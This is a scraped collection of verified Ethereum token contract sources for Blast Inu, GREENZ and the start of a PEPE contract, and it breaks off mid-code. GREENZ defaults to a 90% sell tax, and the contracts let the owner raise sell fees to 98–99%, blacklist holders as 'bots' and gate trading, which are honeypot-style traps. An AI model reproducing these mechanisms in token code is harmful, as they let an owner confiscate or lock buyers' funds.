address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BlastInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Blast Inu"; string private constant _symbol = "BLAST"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 25; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x38cFE36c9DbF7799040f1Ea928796A6591Af4199); address payable private _marketingAddress = payable(0x38cFE36c9DbF7799040f1Ea928796A6591Af4199); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = _tTotal.mul(2).div(100); uint256 public _maxWalletSize = _tTotal.mul(2).div(100); uint256 public _swapTokensAtAmount = _tTotal.mul(2).div(1000); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.mul(3).div(5)); _developmentAddress.transfer(amount.mul(2).div(5)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 5, "Buy rewards must be between 0% and 5%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 50, "Buy tax must be between 0% and 50%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 5, "Sell rewards must be between 0% and 5%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax must be between 0% and 99%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 amountPercent) public onlyOwner { require(amountPercent>0); _maxTxAmount = (_tTotal * amountPercent ) / 100; } function setMaxWalletSize(uint256 amountPercent) public onlyOwner { require(amountPercent>0); _maxWalletSize = (_tTotal * amountPercent ) / 100; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

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IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.9+commit.e5eed63a

Default

MIT

ipfs://cbc2c33d68ea01b3c999ae8b479b3e8e827612056a5e38f7b67d1c5edeecd37a

GREENZ

GREENZ.sol

0x200734ad70395d032f1bf824fc06d6c0cb3a20f9

Solidity

/** *Submitted for verification at Etherscan.io on 2022-11-02 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GREENZ is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Only Green Candlez"; string private constant _symbol = "GREENZ"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 90; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc5fD6c67D7a5ae7BF218689Ecb88Bb315a09F081); address payable private _marketingAddress = payable(0xc5fD6c67D7a5ae7BF218689Ecb88Bb315a09F081); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 1000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 98, "Buy tax must be between 0% and 98%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 98, "Sell tax must be between 0% and 98%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

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s":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

None

ipfs://4e0c8b26942f9641bd97c3fd6f9abed8662b51255b783323801d1b5ae6931dfb

PEPE

PEPE.sol

0xc38e3c8f6a609ffdd0a5bc61b56e4a3260cd0caa

Solidity

/* https://t.me/PepeEntry https://twitter.com/PepeCoinERC */ // SPDX-License-Identifier: MIT pragma solidity 0.8.12; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] 